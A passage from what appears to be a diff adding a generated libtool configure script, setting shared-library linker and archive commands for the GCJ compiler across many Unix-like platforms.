grep ': supported targets:.* elf' > /dev/null; then + tmp_archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_cmds_GCJ="$tmp_archive_cmds" + supports_anon_versioning=no + case `$LD -v 2>/dev/null` in + *\ 01.* | *\ 2.[0-9].* | *\ 2.10.*) ;; # catch versions < 2.11 + *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ... + *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ... + *\ 2.11.*) ;; # other 2.11 versions + *) supports_anon_versioning=yes ;; + esac + if test $supports_anon_versioning = yes; then + archive_expsym_cmds_GCJ='$echo "{ global:" > $output_objdir/$libname.ver~ +cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~ +$echo "local: *; };" >> $output_objdir/$libname.ver~ + $CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib' + else + archive_expsym_cmds_GCJ="$tmp_archive_cmds" + fi + else + ld_shlibs_GCJ=no + fi + ;; + + *) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + else + ld_shlibs_GCJ=no + fi + ;; + esac + + if test "$ld_shlibs_GCJ" = yes; then + runpath_var=LD_RUN_PATH + hardcode_libdir_flag_spec_GCJ='${wl}--rpath ${wl}$libdir' + export_dynamic_flag_spec_GCJ='${wl}--export-dynamic' + # ancient GNU ld didn't support --whole-archive et. al. + if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then + whole_archive_flag_spec_GCJ="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive' + else + whole_archive_flag_spec_GCJ= + fi + fi + else + # PORTME fill in a description of your system's linker (not GNU ld) + case $host_os in + aix3*) + allow_undefined_flag_GCJ=unsupported + always_export_symbols_GCJ=yes + archive_expsym_cmds_GCJ='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname' + # Note: this linker hardcodes the directories in LIBPATH if there + # are no directories specified by -L. + hardcode_minus_L_GCJ=yes + if test "$GCC" = yes && test -z "$link_static_flag"; then + # Neither direct hardcoding nor static linking is supported with a + # broken collect2. + hardcode_direct_GCJ=unsupported + fi + ;; + + aix4* | aix5*) + if test "$host_cpu" = ia64; then + # On IA64, the linker does run time linking by default, so we don't + # have to do anything special. + aix_use_runtimelinking=no + exp_sym_flag='-Bexport' + no_entry_flag="" + else + # If we're using GNU nm, then we don't want the "-C" option. + # -C means demangle to AIX nm, but means don't demangle with GNU nm + if $NM -V 2>&1 | grep 'GNU' > /dev/null; then + export_symbols_cmds_GCJ='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols' + else + export_symbols_cmds_GCJ='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols' + fi + aix_use_runtimelinking=no + + # Test if we are trying to use run time linking or normal + # AIX style linking. If -brtl is somewhere in LDFLAGS, we + # need to do runtime linking. + case $host_os in aix4.[23]|aix4.[23].*|aix5*) + for ld_flag in $LDFLAGS; do + if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then + aix_use_runtimelinking=yes + break + fi + done + esac + + exp_sym_flag='-bexport' + no_entry_flag='-bnoentry' + fi + + # When large executables or shared objects are built, AIX ld can + # have problems creating the table of contents. If linking a library + # or program results in "error TOC overflow" add -mminimal-toc to + # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not + # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. + + archive_cmds_GCJ='' + hardcode_direct_GCJ=yes + hardcode_libdir_separator_GCJ=':' + link_all_deplibs_GCJ=yes + + if test "$GCC" = yes; then + case $host_os in aix4.012|aix4.012.*) + # We only want to do this on AIX 4.2 and lower, the check + # below for broken collect2 doesn't work under 4.3+ + collect2name=`${CC} -print-prog-name=collect2` + if test -f "$collect2name" && \ + strings "$collect2name" | grep resolve_lib_name >/dev/null + then + # We have reworked collect2 + hardcode_direct_GCJ=yes + else + # We have old collect2 + hardcode_direct_GCJ=unsupported + # It fails to find uninstalled libraries when the uninstalled + # path is not listed in the libpath. Setting hardcode_minus_L + # to unsupported forces relinking + hardcode_minus_L_GCJ=yes + hardcode_libdir_flag_spec_GCJ='-L$libdir' + hardcode_libdir_separator_GCJ= + fi + esac + shared_flag='-shared' + else + # not using gcc + if test "$host_cpu" = ia64; then + # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release + # chokes on -Wl,-G. The following line is correct: + shared_flag='-G' + else + if test "$aix_use_runtimelinking" = yes; then + shared_flag='${wl}-G' + else + shared_flag='${wl}-bM:SRE' + fi + fi + fi + + # It seems that -bexpall does not export symbols beginning with + # underscore (_), so it is better to generate a list of symbols to export. + always_export_symbols_GCJ=yes + if test "$aix_use_runtimelinking" = yes; then + # Warning - without using the other runtime loading flags (-brtl), + # -berok will link without error, but may produce a broken library. + allow_undefined_flag_GCJ='-berok' + # Determine the default libpath from the value encoded in an empty executable. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + +aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'` +# Check for a 64-bit object if we didn't find anything. +if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'`; fi +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi + + hardcode_libdir_flag_spec_GCJ='${wl}-blibpath:$libdir:'"$aix_libpath" + archive_expsym_cmds_GCJ="\$CC"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols $shared_flag" + else + if test "$host_cpu" = ia64; then + hardcode_libdir_flag_spec_GCJ='${wl}-R $libdir:/usr/lib:/lib' + allow_undefined_flag_GCJ="-z nodefs" + archive_expsym_cmds_GCJ="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols" + else + # Determine the default libpath from the value encoded in an empty executable. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + +aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'` +# Check for a 64-bit object if we didn't find anything. +if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'`; fi +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi + + hardcode_libdir_flag_spec_GCJ='${wl}-blibpath:$libdir:'"$aix_libpath" + # Warning - without using the other run time loading flags, + # -berok will link without error, but may produce a broken library. + no_undefined_flag_GCJ=' ${wl}-bernotok' + allow_undefined_flag_GCJ=' ${wl}-berok' + # -bexpall does not export symbols beginning with underscore (_) + always_export_symbols_GCJ=yes + # Exported symbols can be pulled into shared objects from archives + whole_archive_flag_spec_GCJ=' ' + archive_cmds_need_lc_GCJ=yes + # This is similar to how AIX traditionally builds it's shared libraries. + archive_expsym_cmds_GCJ="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}-bE:$export_symbols ${wl}-bnoentry${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname' + fi + fi + ;; + + amigaos*) + archive_cmds_GCJ='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' + hardcode_libdir_flag_spec_GCJ='-L$libdir' + hardcode_minus_L_GCJ=yes + # see comment about different semantics on the GNU ld section + ld_shlibs_GCJ=no + ;; + + bsdi[45]*) + export_dynamic_flag_spec_GCJ=-rdynamic + ;; + + cygwin* | mingw* | pw32*) + # When not using gcc, we currently assume that we are using + # Microsoft Visual C++. + # hardcode_libdir_flag_spec is actually meaningless, as there is + # no search path for DLLs. + hardcode_libdir_flag_spec_GCJ=' ' + allow_undefined_flag_GCJ=unsupported + # Tell ltmain to make .lib files, not .a files. + libext=lib + # Tell ltmain to make .dll files, not .so files. + shrext_cmds=".dll" + # FIXME: Setting linknames here is a bad hack. + archive_cmds_GCJ='$CC -o $lib $libobjs $compiler_flags `echo "$deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames=' + # The linker will automatically build a .lib file if we build a DLL. + old_archive_From_new_cmds_GCJ='true' + # FIXME: Should let the user specify the lib program. + old_archive_cmds_GCJ='lib /OUT:$oldlib$oldobjs$old_deplibs' + fix_srcfile_path='`cygpath -w "$srcfile"`' + enable_shared_with_static_runtimes_GCJ=yes + ;; + + darwin* | rhapsody*) + case "$host_os" in + rhapsody* | darwin1.[012]) + allow_undefined_flag_GCJ='${wl}-undefined ${wl}suppress' + ;; + *) # Darwin 1.3 on + if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then + allow_undefined_flag_GCJ='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + else + case ${MACOSX_DEPLOYMENT_TARGET} in + 10.[012]) + allow_undefined_flag_GCJ='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + ;; + 10.*) + allow_undefined_flag_GCJ='${wl}-undefined ${wl}dynamic_lookup' + ;; + esac + fi + ;; + esac + archive_cmds_need_lc_GCJ=no + hardcode_direct_GCJ=no + hardcode_automatic_GCJ=yes + hardcode_shlibpath_var_GCJ=unsupported + whole_archive_flag_spec_GCJ='' + link_all_deplibs_GCJ=yes + if test "$GCC" = yes ; then + output_verbose_link_cmd='echo' + archive_cmds_GCJ='$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring' + module_cmds_GCJ='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags' + # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin ld's + archive_expsym_cmds_GCJ='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + module_expsym_cmds_GCJ='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + else + case "$cc_basename" in + xlc*) + output_verbose_link_cmd='echo' + archive_cmds_GCJ='$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring' + module_cmds_GCJ='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags' + # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin ld's + archive_expsym_cmds_GCJ='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + module_expsym_cmds_GCJ='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + ;; + *) + ld_shlibs_GCJ=no + ;; + esac + fi + ;; + + dgux*) + archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_libdir_flag_spec_GCJ='-L$libdir' + hardcode_shlibpath_var_GCJ=no + ;; + + freebsd1*) + ld_shlibs_GCJ=no + ;; + + # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor + # support. Future versions do this automatically, but an explicit c++rt0.o + # does not break anything, and helps significantly (at the cost of a little + # extra space). + freebsd2.2*) + archive_cmds_GCJ='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o' + hardcode_libdir_flag_spec_GCJ='-R$libdir' + hardcode_direct_GCJ=yes + hardcode_shlibpath_var_GCJ=no + ;; + + # Unfortunately, older versions of FreeBSD 2 do not have this feature. + freebsd2*) + archive_cmds_GCJ='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct_GCJ=yes + hardcode_minus_L_GCJ=yes + hardcode_shlibpath_var_GCJ=no + ;; + + # FreeBSD 3 and greater uses gcc -shared to do shared libraries. + freebsd* | kfreebsd*-gnu) + archive_cmds_GCJ='$CC -shared -o $lib $libobjs $deplibs $compiler_flags' + hardcode_libdir_flag_spec_GCJ='-R$libdir' + hardcode_direct_GCJ=yes + hardcode_shlibpath_var_GCJ=no + ;; + + hpux9*) + if test "$GCC" = yes; then + archive_cmds_GCJ='$rm $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + else + archive_cmds_GCJ='$rm $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + fi + hardcode_libdir_flag_spec_GCJ='${wl}+b ${wl}$libdir' + hardcode_libdir_separator_GCJ=: + hardcode_direct_GCJ=yes + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + hardcode_minus_L_GCJ=yes + export_dynamic_flag_spec_GCJ='${wl}-E' + ;; + + hpux10* | hpux11*) + if test "$GCC" = yes -a "$with_gnu_ld" = no; then + case "$host_cpu" in + hppa*64*|ia64*) + archive_cmds_GCJ='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + ;; + *) + archive_cmds_GCJ='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags' + ;; + esac + else + case "$host_cpu" in + hppa*64*|ia64*) + archive_cmds_GCJ='$LD -b +h $soname -o $lib $libobjs $deplibs $linker_flags' + ;; + *) + archive_cmds_GCJ='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags' + ;; + esac + fi + if test "$with_gnu_ld" = no; then + case "$host_cpu" in + hppa*64*) + hardcode_libdir_flag_spec_GCJ='${wl}+b ${wl}$libdir' + hardcode_libdir_flag_spec_ld_GCJ='+b $libdir' + hardcode_libdir_separator_GCJ=: + hardcode_direct_GCJ=no + hardcode_shlibpath_var_GCJ=no + ;; + ia64*) + hardcode_libdir_flag_spec_GCJ='-L$libdir' + hardcode_direct_GCJ=no + hardcode_shlibpath_var_GCJ=no + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + hardcode_minus_L_GCJ=yes + ;; + *) + hardcode_libdir_flag_spec_GCJ='${wl}+b ${wl}$libdir' + hardcode_libdir_separator_GCJ=: + hardcode_direct_GCJ=yes + export_dynamic_flag_spec_GCJ='${wl}-E' + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + hardcode_minus_L_GCJ=yes + ;; + esac + fi + ;; + + irix5* | irix6* | nonstopux*) + if test "$GCC" = yes; then + archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + else + archive_cmds_GCJ='$LD -shared $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib' + hardcode_libdir_flag_spec_ld_GCJ='-rpath $libdir' + fi + hardcode_libdir_flag_spec_GCJ='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator_GCJ=: + link_all_deplibs_GCJ=yes + ;; + + netbsd*) + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + archive_cmds_GCJ='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out + else + archive_cmds_GCJ='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF + fi + hardcode_libdir_flag_spec_GCJ='-R$libdir' + hardcode_direct_GCJ=yes + hardcode_shlibpath_var_GCJ=no + ;; + + newsos6) + archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct_GCJ=yes + hardcode_libdir_flag_spec_GCJ='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator_GCJ=: + hardcode_shlibpath_var_GCJ=no + ;; + + openbsd*) + hardcode_direct_GCJ=yes + hardcode_shlibpath_var_GCJ=no + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + archive_cmds_GCJ='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + archive_expsym_cmds_GCJ='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols' + hardcode_libdir_flag_spec_GCJ='${wl}-rpath,$libdir' + export_dynamic_flag_spec_GCJ='${wl}-E' + else + case $host_os in + openbsd[01].* | openbsd2.[0-7] | openbsd2.[0-7].*) + archive_cmds_GCJ='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' + hardcode_libdir_flag_spec_GCJ='-R$libdir' + ;; + *) + archive_cmds_GCJ='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + hardcode_libdir_flag_spec_GCJ='${wl}-rpath,$libdir' + ;; + esac + fi + ;; + + os2*) + hardcode_libdir_flag_spec_GCJ='-L$libdir' + hardcode_minus_L_GCJ=yes + allow_undefined_flag_GCJ=unsupported + archive_cmds_GCJ='$echo "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SINGLE NONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def' + old_archive_From_new_cmds_GCJ='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def' + ;; + + osf3*) + if test "$GCC" = yes; then + allow_undefined_flag_GCJ=' ${wl}-expect_unresolved ${wl}\*' + archive_cmds_GCJ='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + else + allow_undefined_flag_GCJ=' -expect_unresolved \*' + archive_cmds_GCJ='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib' + fi + hardcode_libdir_flag_spec_GCJ='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator_GCJ=: + ;; + + osf4* | osf5*) # as osf3* with the addition of -msym flag + if test "$GCC" = yes; then + allow_undefined_flag_GCJ=' ${wl}-expect_unresolved ${wl}\*' + archive_cmds_GCJ='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + hardcode_libdir_flag_spec_GCJ='${wl}-rpath ${wl}$libdir' + else + allow_undefined_flag_GCJ=' -expect_unresolved \*' + archive_cmds_GCJ='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib' + archive_expsym_cmds_GCJ='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">> $lib.exp~ + $LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${objdir}/so_locations -o $lib~$rm $lib.exp' + + # Both c and cxx compiler support -rpath directly + hardcode_libdir_flag_spec_GCJ='-rpath $libdir' + fi + hardcode_libdir_separator_GCJ=: + ;; + + sco3.2v5*) + archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_shlibpath_var_GCJ=no + export_dynamic_flag_spec_GCJ='${wl}-Bexport' + runpath_var=LD_RUN_PATH + hardcode_runpath_var=yes + ;; + + solaris*) + no_undefined_flag_GCJ=' -z text' + if test "$GCC" = yes; then + archive_cmds_GCJ='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + archive_expsym_cmds_GCJ='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$rm $lib.exp' + else + archive_cmds_GCJ='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags' + archive_expsym_cmds_GCJ='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp' + fi + hardcode_libdir_flag_spec_GCJ='-R$libdir' + hardcode_shlibpath_var_GCJ=no + case $host_os in + solaris2.[0-5] | solaris2.[0-5].*) ;; + *) # Supported since Solaris 2.6 (maybe 2.5.1?) + whole_archive_flag_spec_GCJ='-z allextract$convenience -z defaultextract' ;; + esac + link_all_deplibs_GCJ=yes + ;; + + sunos4*) + if test "x$host_vendor" = xsequent; then + # Use $CC to link under sequent, because it throws in some extra .o + # files that make .init and .fini sections work. + archive_cmds_GCJ='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags' + else + archive_cmds_GCJ='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags' + fi + hardcode_libdir_flag_spec_GCJ='-L$libdir' + hardcode_direct_GCJ=yes + hardcode_minus_L_GCJ=yes + hardcode_shlibpath_var_GCJ=no + ;; + + sysv4) + case $host_vendor in + sni) + archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct_GCJ=yes # is this really true??? + ;; + siemens) + ## LD is ld it makes a PLAMLIB + ## CC just makes a GrossModule. + archive_cmds_GCJ='$LD -G -o $lib $libobjs $deplibs $linker_flags' + reload_cmds_GCJ='$CC -r -o $output$reload_objs' + hardcode_direct_GCJ=no + ;; + motorola) + archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct_GCJ=no #Motorola manual says yes, but my tests say they lie + ;; + esac + runpath_var='LD_RUN_PATH' + hardcode_shlibpath_var_GCJ=no + ;; + + sysv4.3*) + archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_shlibpath_var_GCJ=no + export_dynamic_flag_spec_GCJ='-Bexport' + ;; + + sysv4*MP*) + if test -d /usr/nec; then + archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_shlibpath_var_GCJ=no + runpath_var=LD_RUN_PATH + hardcode_runpath_var=yes + ld_shlibs_GCJ=yes + fi + ;; + + sysv4.2uw2*) + archive_cmds_GCJ='$LD -G -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct_GCJ=yes + hardcode_minus_L_GCJ=no + hardcode_shlibpath_var_GCJ=no + hardcode_runpath_var=yes + runpath_var=LD_RUN_PATH + ;; + + sysv5OpenUNIX8* | sysv5UnixWare7* | sysv5uw[78]* | unixware7*) + no_undefined_flag_GCJ='${wl}-z ${wl}text' + if test "$GCC" = yes; then + archive_cmds_GCJ='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + else + archive_cmds_GCJ='$CC -G ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + fi + runpath_var='LD_RUN_PATH' + hardcode_shlibpath_var_GCJ=no + ;; + + sysv5*) + no_undefined_flag_GCJ=' -z text' + # $CC -shared without GNU ld will not create a library from C++ + # object files and a static libstdc++, better avoid it by now + archive_cmds_GCJ='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags' + archive_expsym_cmds_GCJ='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> 